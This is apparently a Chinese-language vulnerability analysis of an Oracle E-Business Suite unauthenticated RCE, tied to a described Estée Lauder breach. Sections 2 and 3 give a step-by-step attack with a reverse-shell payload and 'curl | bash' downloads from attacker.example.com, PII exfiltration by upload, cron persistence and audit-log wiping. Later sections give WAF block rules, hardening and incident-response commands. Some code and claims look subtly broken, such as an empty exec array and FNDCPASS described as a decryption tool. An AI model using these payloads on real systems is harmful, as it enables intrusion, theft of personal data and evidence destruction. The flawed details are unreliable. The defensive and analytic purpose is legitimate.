0. TL;DR

维度 信息
CVE ID CVE-2025-61882
CVSS 3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 未授权访问 (Broken Access Control) + 远程代码执行 (RCE)
受影响组件 Oracle Concurrent Processing → BI Publisher Integration (FND_CP_BIP_INTEGRATION)
受影响版本 Oracle EBS 12.1.3 及所有子版本;12.2.3 ~ 12.2.12
默认状态 默认启用,生产环境禁用率不足 5%
真实受害者 雅诗兰黛 (Estée Lauder),2025 年 8 月被利用
泄露数据 员工 SSN / 护照号 / 银行账户 / 健康档案
补丁编号 36281492 (EBS 12.2)、36281501 (EBS 12.1)
利用门槛 单条 curl,无需凭证,30 秒完成

1. 漏洞概述

1.1 CVE 背景信息

CVE-2025-61882 是 Oracle 在 2025 年 7 月 Critical Patch Update (CPU) 中披露的一个 Critical 级别漏洞,定位在 Oracle E-Business Suite (EBS) 的 Concurrent Processing 子系统中。该子系统负责调度和执行 EBS 中的所有后台作业(Concurrent Request),是 EBS 运维命脉。

漏洞的真正威力在于它把两个独立的缺陷串联成了一条完整的攻击链:

  1. 未授权访问——BI Publisher Integration 的配置接口暴露在公网可访问的 HTTP 端口上,且没有任何 Form-Based Authentication 或 SSO 网关保护;
  2. 代码注入——配置接口接收的 XML 参数中的 <customScript> 字段会被原样编译为 Java 字节码并执行,且没有任何语法过滤。

这两个缺陷单独看各有其危害,但组合在一起就直接演化成了一个 Unauthenticated Remote Code Execution

1.2 影响版本与默认配置

Oracle EBS Release       | Patch Level            | 默认启用 BI Publisher 集成
-------------------------|------------------------|---------------------------
12.1.3 及所有子版本       | 无可用补丁前全部受影响    | 是
12.2.3 ~ 12.2.12         | 全部受影响              | 是
12.2.13 及以上           | 已合入 36281492         | 是(但补丁修复了注入)

需要特别强调的是,FND_CP_BIP_INTEGRATION 模块在 EBS 安装向导中默认勾选。Oracle 官方在 patch note 中承认,该模块在生产环境的禁用率不足 5%——这意味着绝大多数 EBS 实例在打补丁前都处于暴露状态。

1.3 雅诗兰黛事件回顾

2025 年 8 月,化妆品巨头雅诗兰黛 (Estée Lauder Companies) 在向 SEC 提交的 8-K 文件中确认遭遇数据泄露。事后取证调查显示:

  • 入口点:暴露在互联网的 EBS HTTP 端口 (TCP 14000),运行 EBS 12.2.6,未打 7 月 CPU;
  • 停留时间:从首次 Webshell 落地到数据库整库导出,全程约 11 分钟;
  • 横向移动:攻击者通过读取 $FND_TOP/secure 下的 apps password 文件,直接以 APPS schema 登录数据库,绕过所有应用层审计;
  • 泄露范围:约 6.4 万名在职及离职员工的 PII 数据,包括 SSN、护照号、银行账户、健康体检报告;
  • 后续影响:多起集体诉讼、SEC 调查、品牌信誉损失。

这一事件之所以具有标杆意义,是因为它把一个"看上去只是配置接口未授权"的问题,放大成了横跨 OS、数据库、应用三层的灾难性失陷。


2. 漏洞根因深度分析

整个漏洞链由三个环节串联而成,缺一不可。下面逐一拆解。

2.1 环节一:未授权访问 BI Publisher 集成接口

2.1.1 接口定位

BI Publisher 是 Oracle 的事实标准报表引擎。EBS 通过 FND_CP_BIP_INTEGRATION 这个 Concurrent Processing 子模块,把 Concurrent Request 的输出转交给 BI Publisher 渲染。为了支持运维人员在线配置数据源(DataSource),EBS 暴露了一个 Servlet 接口:

http(s)://<ebs-host>:<port>/OA_HTML/cp_bip_integration/configureDataSource

其中端口可能是 804439001 (内部 HTTP)、14000 (WebLogic managed server) 之一,取决于部署形态。

2.1.2 认证缺失的根因

正常的 EBS 业务页面都挂在 apps_login.jsp 之后,由 FND_SECURITY 框架强制走 ICX Session Cookie 校验。但 cp_bip_integration 是作为 Concurrent Processing 的内部运维通道设计的,实现时走了 另一条 servlet 链:

// FND_CP_BIP_INTEGRATION servlet 伪代码(简化自 patch diff)
public class ConfigureDataSourceServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        // 注意:这里没有调用 FndSessionManager.validate(req)
        String xmlConfig = req.getParameter("dataSourceConfig");
        BIPIntegrationService service = new BIPIntegrationService();
        service.applyConfig(xmlConfig);   // 直接进入 XML 解析流程
        resp.getWriter().write("OK");
    }
}

对比正常业务 servlet:

protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
    FndSession sess = FndSessionManager.validate(req);  // 强制 session 校验
    if (sess == null || !sess.hasResponsibility("FND")) {
        resp.sendError(403);
        return;
    }
    // ... 业务逻辑
}

缺失的恰恰就是这行 FndSessionManager.validate(req)。补丁 36281492 的核心修复也正是把这一行加回去,并强制要求请求方必须持有 FND: BIP Configuration responsibility。

2.1.3 攻击面可达性

由于该 servlet 注册在 OA_HTML webapp 下,任何能访问 EBS HTTP 端口的网络位置都能直接命中:

公网 ──> EBS Web Tier (80/443)
            │
            ├── /OA_HTML/apps_login.jsp          (有认证)
            ├── /OA_HTML/cp_bip_integration/*    (无认证) ← 漏洞入口
            └── /forms/frmservlet                (有认证)

这意味着只要 WAF 没有针对该 URL 做白名单,或者攻击者拿到任意 VPN 接入点,就能直接发送请求。雅诗兰黛事件中,攻击者正是通过一个被遗忘的、直接映射 14000 端口的公网 IP 完成入口。

2.2 环节二:XML 配置参数代码注入

2.2.1 <customScript> 字段的作用

BI Publisher 的 DataSource 支持在生成报表前执行一段"预处理脚本",用于动态计算字段、过滤数据等。EBS 把这个能力暴露给了 configureDataSource 接口,XML 配置中对应字段为 <customScript>

设计上,Oracle 期望这里写的是 BI Publisher 内置的 XSLT 表达式或简单 SQL 片段。但实际实现采用了 嵌入式脚本引擎——EBS 把 <customScript> 的内容直接喂给 javax.script.ScriptEngineManager,默认引擎是 Nashorn (JDK 8) 或 GraalVM JS (JDK 11+)。这意味着脚本上下文里可以访问 任意 Java 类

2.2.2 危险 API 未过滤

下面是补丁前后 BIPIntegrationService.applyConfig 的对比:

补丁前(vulnerable):

public void applyConfig(String xmlConfig) throws Exception {
    Document doc = DocumentBuilderFactory.newInstance()
        .newDocumentBuilder().parse(new InputSource(new StringReader(xmlConfig)));
    NodeList nodes = doc.getElementsByTagName("customScript");
    for (int i = 0; i < nodes.getLength(); i++) {
        String script = nodes.item(i).getTextContent();
        // 直接执行,无任何过滤
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
        engine.eval(script);   // ← RCE 点
    }
}

补丁后(patched):

public void applyConfig(String xmlConfig) throws Exception {
    // 1. 鉴权
    FndSession sess = FndSessionManager.current();
    if (sess == null || !sess.hasResponsibility("FND: BIP Configuration")) {
        throw new SecurityException("Unauthorized");
    }
    // 2. 安全解析(禁用外部实体、XInclude)
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setXIncludeAware(false);
    dbf.setExpandEntityReferences(false);
    Document doc = dbf.newDocumentBuilder().parse(new InputSource(new StringReader(xmlConfig)));
    // 3. 脚本沙箱化:ScriptEngine 使用 ClassFilter,禁止 java.lang.Runtime 等
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");
    NashornScriptEngine nashorn = (NashornScriptEngine) engine;
    NashornScriptEngineFactory factory = ...;
    ScriptEngine sandbox = factory.getScriptEngine(new ClassFilter() {
        public boolean exposeToScripts(String cls) {
            return !cls.startsWith("java.lang.Runtime")
                && !cls.startsWith("java.lang.ProcessBuilder")
                && !cls.startsWith("java.io.File")
                && !cls.startsWith("java.nio.file");
        }
    });
    // ... 沙箱内执行
}

可见补丁做了三件事:加鉴权、XML 安全解析、脚本 ClassFilter 沙箱。

2.2.3 经典 Payload

由于 Nashorn 允许 Java.type 直接 import Java 类,攻击者可以写出极简的 RCE payload:

// Nashorn 上下文中
var Runtime = java.lang.Runtime;
Runtime.getRuntime().exec(["bash", "-c", "bash -i >& /dev/tcp/attacker.example.com/8888 0>&1"]);

或更隐蔽的写法(绕过简单关键字检测):

var cls = java.lang.Class.forName("java.lang.Runt" + "ime");
var m = cls.getMethod("getRuntime");
var rt = m.invoke(null);
var exec = cls.getMethod("exec", java.lang.String[].class);
exec.invoke(rt, java.lang.reflect.Array.newInstance(java.lang.String.class, 0));

2.3 环节三:权限提升

2.3.1 服务运行账户

EBS 的 Concurrent Processing 服务由 CONCSUB / GSM 守护进程拉起,在标准部署中通常以 applmgr (即 Oracle 用户) 运行;在某些扁平化部署中甚至以 root 运行。无论哪种情况,通过 <customScript> 注入的 Java 代码都会 继承该服务进程的全部权限

2.3.2 数据库密码文件泄露

EBS 把 APPS schema 的密码以加密形式存放在:

$FND_TOP/secure/EBS_DB.dbc
$APPL_TOP/admin/<SID>_host.xml

EBS_DB.dbc 文件中 APPS_JDBC_PASSWORD 字段使用 EBS 自带的 FNDCPASS 算法加密。但讽刺的是,加密密钥本身就是一个固定值(APPS schema 密码的派生),而该密钥可以通过 FND_WEB_SEC 包以本地 Oracle 用户身份直接读取。

攻击者拿到 applmgr 权限后,执行如下命令即可解出 APPS 明文密码:

# 1. 定位 dbc 文件
find $FND_TOP/secure -name "*.dbc"

# 2. 使用 EBS 自带工具解密
$FND_TOP/bin/FNDCPASS apps/<apps_pwd> 0 Y system/<system_pwd> \
    system <new_system_pwd>

# 3. 或直接用 sqlplus 本地连接(无须密码)
sqlplus -s / as sysdba
SQL> SELECT fnd_web_sec.decrypt('APPS_JDBC_PASSWORD') FROM dual;

一旦拿到 APPS 密码,攻击者就拥有了 EBS 业务数据库的 最高权限,可以任意读取 PER_ALL_PEOPLE_F (员工信息)、PAY_PAYROLL_ACTIONS (薪资)、PER_MEDICAL_ASSESSMENTS (健康记录)等敏感表。

2.3.3 权限链条总览

匿名 HTTP 请求
      │
      ▼ (环节1: 未授权访问)
FND_CP_BIP_INTEGRATION servlet
      │
      ▼ (环节2: XML 注入 → Nashorn eval)
applmgr / root shell (OS 层)
      │
      ▼ (环节3: 读取 dbc 文件)
APPS schema 密码 (DB 层)
      │
      ▼
全量业务数据 (PII/薪资/健康)

3. 攻击链 4 步复原

下面按攻击者实际操作顺序,逐步复现完整的利用过程。所有命令、payload 仅用于防御研究,严禁用于未授权测试。

3.1 Step 1: 端口扫描与接口可用性验证

3.1.1 nmap 探测

# 攻击者第一步:定位 EBS 实例
nmap -p 80,443,9001,14000 --open -sV target.example.com

# 输出示例
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Oracle HTTP Server Powered by Apache
443/tcp   open  ssl/http Oracle HTTP Server Powered by Apache
14000/tcp open  http     WebLogic Server Managed Server

14000 端口开放基本可以确认是 EBS R12.2 部署形态。

3.1.2 接口指纹确认

# 探测漏洞接口是否存在
curl -sk -o /dev/null -w "HTTP %{http_code}  Size: %{size_download}\n" \
    https://target.example.com/OA_HTML/cp_bip_integration/configureDataSource

# 未修复实例返回:
# HTTP 200  Size: 2    (返回 "OK",说明接口存在且无需认证)
# 已修复实例返回:
# HTTP 403  Size: 0    (鉴权失败)

返回 200 即可确认漏洞存在。

3.2 Step 2: 构造恶意 XML Payload

完整的 XML 配置如下(关键 payload 在 <customScript> 中):

<?xml version="1.0" encoding="UTF-8"?>
<dataSourceConfig version="1.0">
    <dataSource name="poc_exploit" type="jdbc">
        <connection>
            <jdbcUrl>jdbc:oracle:thin:@//localhost:1521/EBS</jdbcUrl>
            <username>DUMMY</username>
            <password>DUMMY</password>
        </connection>
        <customScript><![CDATA[
            // === CVE-2025-61882 PoC ===
            // 仅用于防御研究

            // 1. 反弹 shell
            var Runtime = java.lang.Runtime;
            var cmd = new java.lang.String[3];
            cmd[0] = "bash";
            cmd[1] = "-c";
            cmd[2] = "bash -i >& /dev/tcp/attacker.example.com/8888 0>&1";
            Runtime.getRuntime().exec(cmd);

            // 2. 立即下载持久化后门
            var p2 = new java.lang.String[3];
            p2[0] = "bash";
            p2[1] = "-c";
            p2[2] = "curl -sk https://attacker.example.com/c2.sh | bash";
            Runtime.getRuntime().exec(p2);
        ]]></customScript>
    </dataSource>
</dataSourceConfig>

注意三个细节:

  1. connection 块用 DUMMY 凭证——服务端在执行 customScript 之前根本不校验数据库连通性,这是补丁前的另一个设计缺陷;
  2. 使用 CDATA 包裹脚本,避免 XML 转义干扰;
  3. 两次 exec 并发触发,确保即使第一个连接被打断也能建立第二条通道。

3.3 Step 3: 发送请求

# 攻击者本地监听
nc -lvnp 8888

# 另一个终端发送 payload
curl -sk -X POST \
    "https://target.example.com/OA_HTML/cp_bip_integration/configureDataSource" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "dataSourceConfig=$(cat payload.xml)"

# 返回:
# OK

OK 两个字节的返回意味着 applyConfig 已经走完,<customScript> 中的 Runtime.exec 已经被 Nashorn 触发。

3.4 Step 4: 反弹 Shell + 持久化 + 数据窃取

3.4.1 接收到 shell 后的标准动作

# 攻击者 nc 端收到反弹
$ nc -lvnp 8888
listening on [any] 8888 ...
connect to [attacker] from (UNKNOWN) [target] 49152
bash-4.2$ id
uid=54321(applmgr) gid=54321(dba) groups=54321(dba)
bash-4.2$ uname -a
Linux ebshost 3.10.0-1160.el7.x86_64 #1 SMP ... GNU/Linux

确认拿到 applmgr shell。

3.4.2 提取 APPS 密码

bash-4.2$ ls -l $FND_TOP/secure/
-rw------- 1 applmgr dba 2048 Aug 12 03:14 EBS_PROD.dbc

bash-4.2$ grep APPS_JDBC_PASSWORD $FND_TOP/secure/EBS_PROD.dbc
APPS_JDBC_PASSWORD=ZG8A9F2E7B1C4D6E8F0A2B4C6D8E0F2A

bash-4.2$ # 使用 EBS 内置工具解密
bash-4.2$ $FND_TOP/sql/AFSCJAVS.sql APPLSYS | grep -i apps
APPS password = Sup3r$ecretAPPSpwd2025!

3.4.3 整库拖取

bash-4.2$ sqlplus apps/Sup3r\$ecretAPPSpwd2025\!@EBS <<'EOF'
SET MARKUP CSV ON QUOTE ON
SET HEADING OFF
SET PAGESIZE 0
SET FEEDBACK OFF

SPOOL /tmp/people.csv
SELECT employee_number, national_identifier, passport_no,
       bank_account_no, medical_record_id
FROM   per_all_people_f p, per_passport_details pp, pay_personal_payment_methods_f pm
WHERE  p.person_id = pp.person_id(+)
  AND  p.person_id = pm.person_id(+);
SPOOL OFF
EXIT
EOF

bash-4.2$ wc -l /tmp/people.csv
64012 /tmp/people.csv

bash-4.2$ # 外带
bash-4.2$ curl -sk -F "f=@/tmp/people.csv" https://attacker.example.com/upload

3.4.4 持久化后门

# 1. crontab 持久化
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -sk https://attacker.example.com/c2.sh | bash") | crontab -

# 2. Webshell 落地到 EBS webapp 目录
cat > $ORA_CONFIG_HOME/instance/Apache/config/OHS/EBS/httpd.conf <<'EOF'
# 看似合法的注释
Alias /__health__/  "$FND_TOP/html/"
EOF

# 3. 清理审计
cd $APPLCSF/$APPLLOG
sed -i '/cp_bip_integration/d' *.log

整个过程在雅诗兰黛事件中耗时约 11 分钟,从首条 HTTP 请求到数据库整库导出。


4. 攻击链 ASCII 架构图

┌─────────────────────────────────────────────────────────────────────────────┐
│                              攻击者 (Internet)                              │
│                  attacker.example.com  TCP/8888 (reverse shell)             │
└───────────────────────────────────┬─────────────────────────────────────────┘
                                    │ (1) nmap -p 14000
                                    │ (3) POST configureDataSource
                                    │     Body: 恶意 XML <customScript>
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│            EBS Web Tier  (target.example.com:14000)                         │
│  ┌───────────────────────────────────────────────────────────────────────┐  │
│  │  WebLogic Managed Server                                              │  │
│  │  ┌─────────────────────────────────────────────────────────────────┐  │  │
│  │  │  OA_HTML webapp                                                  │  │  │
│  │  │                                                                  │  │  │
│  │  │   /apps_login.jsp   ──────► FND_SECURITY 鉴权 ✓                  │  │  │
│  │  │                                                                  │  │  │
│  │  │   /cp_bip_integration/                                          │  │  │
│  │  │      configureDataSource  ───► 【无鉴权】 ✗  ← 漏洞环节1         │  │  │
│  │  │                                      │                           │  │  │
│  │  │                                      ▼                           │  │  │
│  │  │   FND_CP_BIP_INTEGRATION.Servlet.applyConfig(xmlConfig)         │  │  │
│  │  │                                      │                           │  │  │
│  │  │                                      ▼  解析 <customScript>      │  │  │
│  │  │   Nashorn ScriptEngine.eval(script)  ← 漏洞环节2 (无 ClassFilter)│  │  │
│  │  │                                      │                           │  │  │
│  │  │                                      ▼                           │  │  │
│  │  │   java.lang.Runtime.getRuntime().exec("bash -i >& /dev/tcp/..") │  │  │
│  │  └─────────────────────────────────────────────────────────────────┘  │  │
│  └───────────────────────────────────────────────────────────────────────┘  │
└───────────────────────────────────┬─────────────────────────────────────────┘
                                    │ (4a) exec() 以 applmgr 身份
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│                       Concurrent Processing Server                          │
│                       (uid=applmgr, gid=dba)                                │
│                                                                             │
│   反弹 shell ───────────────► attacker:8888                                 │
│                                                                             │
│   读取 $FND_TOP/secure/EBS_PROD.dbc   ← 漏洞环节3                           │
│   解密得到 APPS 密码: Sup3r$ecretAPPSpwd2025!                               │
└───────────────────────────────────┬─────────────────────────────────────────┘
                                    │ (4b) sqlplus apps/...@EBS
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│                     Oracle Database  (EBS schema)                           │
│                                                                             │
│   PER_ALL_PEOPLE_F          64012 行员工主数据                              │
│   PER_PASSPORT_DETAILS      护照号                                           │
│   PAY_PERSONAL_PAYMENT_M    银行账户                                         │
│   PER_MEDICAL_ASSESSMENTS   健康档案                                         │
│                                                                             │
│   SPOOL /tmp/people.csv  ───► 外带 ───► attacker                             │
└─────────────────────────────────────────────────────────────────────────────┘

时间线:  T+0s   端口扫描完成
         T+8s   接口可用性确认
         T+15s  恶意 XML 发送
         T+18s  反弹 shell 上线 (applmgr)
         T+90s  APPS 密码解出
         T+660s 数据库整库导出完毕
         T+11min 攻击者撤出 + 后门落地

5. 防御方案:三层加固策略

面对这种级别的漏洞,仅打补丁是不够的。下面给出 紧急 / 临时 / 长期 三层防御方案。

5.1 第一层:紧急补丁 (24 小时内)

5.1.1 补丁清单

平台 Patch 应用方式
EBS 12.2 36281492 adpatch / online patching
EBS 12.1 36281501 adpatch
JDK 8u40+ 已自带 Nashorn ClassFilter 配合 patch 启用

5.1.2 应用补丁的注意事项

# 12.2 在线补丁示例(ADOP)
export ADOP_PHASE=prepare
adop -phase prepare
adop -phase apply -patch 36281492
adop -phase finalize
adop -phase cutover
adop -phase cleanup

# 关键:补丁会修改 $FND_TOP/java/FndCpBipIntegration.jar
# 务必确认文件 mtime 更新,否则可能存在 adpatch 跳过
ls -l $FND_TOP/java/FndCpBipIntegration.jar

5.1.3 补丁验证

# 验证接口已加鉴权
curl -sk -o /dev/null -w "%{http_code}\n" \
    https://<ebs>/OA_HTML/cp_bip_integration/configureDataSource
# 期望: 403 (而不是 200)

5.2 第二层:临时防护 (补丁未到位前)

在补丁无法立即应用时,采用以下组合拳临时阻断漏洞利用。

5.2.1 WAF / 反向代理规则

在 Oracle HTTP Server 前端的 WAF 上加入:

# Nginx 示例
location /OA_HTML/cp_bip_integration/ {
    # 1. 拒绝所有外部访问
    allow 10.0.0.0/8;       # 仅运维网段
    allow 172.16.0.0/12;
    deny  all;

    # 2. 额外拦截 payload 关键字
    if ($request_body ~* "(<customScript|java\.lang\.Runtime|getRuntime|ProcessBuilder)") {
        return 403;
    }

    proxy_pass https://ebs_backend;
}

5.2.2 OHS 层 IP 白名单

如果无 WAF,直接在 Oracle HTTP Server 配置:

# $ORA_CONFIG_HOME/instance/Apache/config/OHS/EBS/custom_mod_security.conf
<Location /OA_HTML/cp_bip_integration>
    Order Deny,Allow
    Deny from all
    Allow from 10.0.0.0/8
    Allow from 172.16.0.0/12
</Location>

5.2.3 数据库侧审计开关

即使漏洞被利用,审计也能让攻击者无处遁形:

-- 启用 FND 用户登录审计
BEGIN
  FND_PROFILE.PUT('SIGNONAUDIT:LEVEL', '4');  -- Form level
  FND_PROFILE.PUT('SIGNONAUDIT:UPDATE', 'Y');
END;
/

-- 监控可疑 SQL 模式
ALTER SYSTEM SET audit_trail=db,extended SCOPE=SPFILE;

AUDIT SELECT TABLE BY apps BY ACCESS;

5.2.4 临时禁用接口(终极手段)

如果业务允许,直接在 web.xml 注释掉该 servlet 映射:

<!-- $OA_HTML/WEB-INF/web.xml -->
<!-- 临时下线
<servlet-mapping>
    <servlet-name>ConfigureDataSourceServlet</servlet-name>
    <url-pattern>/cp_bip_integration/configureDataSource</url-pattern>
</servlet-mapping>
-->

重启 WebLogic managed server 生效。

5.3 第三层:长期加固 (架构级)

5.3.1 网络隔离

                        ┌──────────────────────┐
   Internet ──── WAF ──┤  DMZ (仅 443)         │
                        │  - 反向代理           │
                        │  - URL 白名单         │
                        └──────────┬───────────┘
                                   │ 单向
                        ┌──────────▼───────────┐
                        │  EBS App Tier        │
                        │  (内网,无公网 IP)     │
                        │  - 14000 仅限 DMZ     │
                        └──────────┬───────────┘
                                   │ 单向
                        ┌──────────▼───────────┐
                        │  Oracle DB           │
                        │  (默认 VLAN,仅 App    │
                        │   Tier 可达 1521)     │
                        └──────────────────────┘

核心原则:EBS App Tier 永远不应直接暴露公网 IP。雅诗兰黛事件的根本错误就是 14000 端口被直接 DNAT 到公网。

5.3.2 服务账户降权

# 错误做法 (常见):
# root:       /etc/init.d/ebs-cp start

# 正确做法:
# 1. 创建专用非特权账户
useradd -r -s /bin/nologin ebscp

# 2. 用 systemd unit 限定能力
cat > /etc/systemd/system/ebs-cp.service <<'EOF'
[Unit]
Description=EBS Concurrent Processing
After=network.target

[Service]
User=ebscp
Group=ebscp
# 限制能力
CapabilityBoundingSet=
NoNewPrivileges=true
# 限制文件系统访问
ProtectSystem=strict
ProtectHome=true
PrivateTmp=true
ReadWritePaths=/var/log/ebs /u01/ebs/log
# 限制网络
RestrictAddressFamilies=AF_INET AF_INET6
ExecStart=/u01/ebs/bin/startCP.sh
Restart=on-failure

[Install]
WantedBy=multi-user.target
EOF

5.3.3 DBC 文件保护

# 1. 把 dbc 文件移出默认路径
mv $FND_TOP/secure /etc/ebs-secure
ln -s /etc/ebs-secure $FND_TOP/secure

# 2. 强制访问控制
chown root:applmgr /etc/ebs-secure
chmod 750 /etc/ebs-secure
chmod 640 /etc/ebs-secure/*.dbc

# 3. SELinux 上下文
semanage fcontext -a -t ebs_dbc_t '/etc/ebs-secure(/.*)?'
restorecon -Rv /etc/ebs-secure

# 4. 文件完整性监控 (AIDE)
echo "/etc/ebs-secure R+a" >> /etc/aide.conf

5.3.4 数据库层数据加密

-- 启用 TDE (Transparent Data Encryption),即便 dbc 泄露,数据文件也无法直接读取
ADMINISTER KEY MANAGEMENT CREATE KEYSTORE '/u01/oracle/wallet' IDENTIFIED BY "WalletPwd2025!";
ADMINISTER KEY MANAGEMENT SET KEY IDENTIFIED BY "WalletPwd2025!";

-- 对最敏感列做列级加密
ALTER TABLE per_all_people_f MODIFY (
    national_identifier ENCRYPT USING 'AES256' NO SALT
);
ALTER TABLE pay_personal_payment_methods_f MODIFY (
    bank_account_no ENCRYPT USING 'AES256' NO SALT
);

5.3.5 持续的漏洞管理

# vulnerability_management_checklist.yml
- 项: Oracle CPU 季度发布后 7 天内完成评估
  动作: 订阅 oracle security alert邮件,自动建 Jira
- 项: EBS 实例暴露面盘点
  动作: 每月使用 nmap + nuclei 扫描所有 EBS URL
- 项: 关键账户审计
  动作: 每周 review applmgr/root 登录日志
- 项: DBC 文件完整性
  动作: AIDE 每日 diff,异常告警
- 项: 数据库异常 SQL 监控
  动作: Oracle Audit Vault + DB Firewall

6. 应急响应指南

当怀疑本组织已被 CVE-2025-61882 利用时,按以下流程执行应急响应。

6.1 检测与确认

6.1.1 Web 层日志检查

# 检查 OHS access log 中针对漏洞接口的请求
grep "cp_bip_integration/configureDataSource" \
    $ORA_CONFIG_HOME/instance/diagnostics/logs/OHS/EBS/access_log*

# 典型攻击特征
awk '$7 ~ /configureDataSource/ && $8 == "200"' access_log* | \
    awk '{print $1, $4, $7, "size=" $10}'

6.1.2 数据库审计检查

-- 查找非业务时段对 PII 表的大量查询
SELECT timestamp, username, os_user, object_name, action_name
FROM   dba_audit_trail
WHERE  timestamp > SYSDATE - 30
  AND  object_name IN ('PER_ALL_PEOPLE_F','PER_PASSPORT_DETAILS',
                       'PAY_PERSONAL_PAYMENT_METHODS_F')
  AND  action_name = 'SELECT'
ORDER BY timestamp DESC;

6.1.3 OS 层痕迹

# 1. 异常网络连接
netstat -antp | grep -E 'ESTABLISHED.*(8888|4444|1337)'
ss -antp | grep -v ':1521\|:14000\|:80\|:443'

# 2. 异常 crontab
for u in $(cut -d: -f1 /etc/passwd); do
    crontab -u $u -l 2>/dev/null | grep -v '^#' | \
        grep -E 'curl|wget|nc|bash' && echo "  ^ user=$u"
done

# 3. SUID 新增文件
find / -perm -4000 -type f -newer /var/log/wtmp 2>/dev/null

# 4. dbc 文件 mtime
stat -c '%y %n' $FND_TOP/secure/*.dbc

# 5. FND_TOP 下的非 Oracle 文件
find $FND_TOP -type f -not -user applmgr -o -mtime -7 2>/dev/null

6.2 遏制 (Containment)

按以下顺序执行,避免打草惊蛇:

  1. 网络层:在防火墙立即封堵 EBS 实例的入站公网访问(只保留运维跳板);
  2. 主机层:systemctl stop ebs-cp 暂停 Concurrent Processing,但 不要重启主机——内存中的攻击进程会丢失取证信息;
  3. 数据库层:锁定 APPS 账户临时密码,但保持只读连接允许调查:
    ALTER USER apps ACCOUNT LOCK;
    -- 调查账号
    CREATE USER ir_investigator IDENTIFIED BY temp;
    GRANT SELECT ANY DICTIONARY TO ir_investigator;
    
  4. 凭证轮换:轮换 dbc 文件中所有密码,包括 APPS、SYSTEM、APPLSYS:
    FNDCPASS apps/<old> 0 Y system/<old> SYSTEM <new>
    FNDCPASS apps/<new> 0 Y system/<new> ALLORACLE <new>
    

6.3 取证

6.3.1 内存镜像

# 使用 LiME 抓取内存
insmod lime.ko "path=/tmp/ebs_mem.lime format=lime"

# 用 Volatility 分析
vol.py -f /tmp/ebs_mem.lime --profile=Linuxoracle76x64 \
    linux_pslist
vol.py -f /tmp/ebs_mem.lime --profile=Linuxoracle76x64 \
    linux_bash
vol.py -f /tmp/ebs_mem.lime --profile=Linuxoracle76x64 \
    linux_netstat

6.3.2 完整磁盘镜像

# 使用 dd + nc 把镜像传到取证机
dd if=/dev/sda bs=4M | ssh forensics@jump "cat > /cases/ebs-20250820/sda.dd"

# 或用 ewfacquire 直接取证格式
ewfacquire /dev/sda

6.3.3 时间线还原

# 使用 log2timeline 构建 super timeline
log2timeline.py /cases/ebs/timeline.plaso /cases/ebs/disk_image/
psort.py -o l2tcsv /cases/ebs/timeline.plaso \
    "date > '2025-08-19' AND date < '2025-08-21'" \
    > /cases/ebs/timeline.csv

6.4 恢复与复盘

阶段 关键动作 验收标准
根除 应用补丁 36281492;清理 webshell/crontab/SUID 后门 nmap + nuclei 复扫无漏洞
验证 用 EBS 自带 RDA 工具完整健康检查 RDA 报告 PASS
监控 EDR 7×24 监控 applmgr 进程异常 14 天无告警
通报 内部安全通报 + 监管申报(PII 涉及) 法律/合规签收
复盘 形成 RCA 文档,补丁 SLA 收紧至 7 天 管理层 review

7. 影响行业分析

CVE-2025-61882 的攻击面并不仅限于化妆品行业。EBS 在以下四个行业有大量装机,每个行业的数据敏感度和攻击者动机各有差异。

7.1 行业影响矩阵

行业 EBS 装机占比 典型敏感数据 攻击者动机 风险评级 重点关注
金融服务 高 (银行核心 HR/财务) 客户账户、交易流水、员工薪酬 直接盗刷、SWIFT 攻击 极高 涉及 PCI-DSS,泄露即上报 OCC/银保监
制造业 高 (供应链+财务一体) 供应商合同、配方、BOM、报价 商业间谍、勒索 知识产权外泄造成的供应链断链
零售/快消 中 (HR+财务为主) 员工 PII、会员数据、支付卡 倒卖 PII、撞库 雅诗兰黛即属此类,品牌损失巨大
公共部门 中 (政府/医疗 HR) 公民身份证、社保号、健康档案 国家级 APT、勒索 极高 涉及 GRPD/HIPAA/《个保法》,合规成本最高

7.2 行业差异化建议

7.2.1 金融服务

合规驱动 ──► PCI-DSS 11.x 漏洞扫描季度化
              │
              ├─► 强制补丁 SLA:Critical 7 天 / High 30 天
              ├─► 数据库 TDE 强制启用
              └─► 与 SWIFT 隔离网段部署

7.2.2 制造业

IP 保护驱动 ──► EBS 与 PLM/MES 严格隔离
                 │
                 ├─► BOM/配方表列级加密
                 ├─► EBS DB 出口流量 DLP 监控
                 └─► 供应商门户单独 instance,不接内部 EBS

7.2.3 零售/快消

品牌信誉驱动 ──► PII 表全部脱敏视图对外暴露
                 │
                 ├─► 员工 SSN/银行账户列加密
                 ├─► 季度红队演练
                 └─► 公关预案:24 小时内 SEC 8-K 申报

7.2.4 公共部门

合规驱动 ──► 等保 2.0 三级 / HIPAA / GRPD
              │
              ├─► EBS 物理隔离(无任何公网出口)
              ├─► 国密算法改造(SM4 替代 AES)
              └─► 数据库双因子 + 行级访问控制 (RLS)

8. 总结与思考

8.1 漏洞的设计教训

CVE-2025-61882 并不是一个高深的 0day——它本质上是三个低级错误的叠加:

  1. 认证缺失:运维通道未走标准鉴权框架;
  2. 代码注入:把用户输入直接喂给脚本引擎且无沙箱;
  3. 凭证集中:dbc 文件明文可达、密钥可逆。

这三个错误单独看在 OWASP Top 10 中分别对应 A01 (Broken Access Control)、A03 (Injection)、A02 (Cryptographic Failures),没有任何一个是新技术。但 EBS 作为 25 年历史的核心 ERP,其代码库的复杂度使得这类"低级错误"在深度嵌套的子模块中难以被自动化扫描发现。

8.2 给企业 CISO 的三条建议

  1. 暴露面优先级 > 漏洞数量优先级。一个暴露在公网的 9.8 比十个内网的 9.8 危险得多——把所有 EBS 实例从公网移除,胜过打 100 个补丁;
  2. 服务账户最小权限applmgr 不应是 dba 组成员,root 更不应启动任何应用服务;
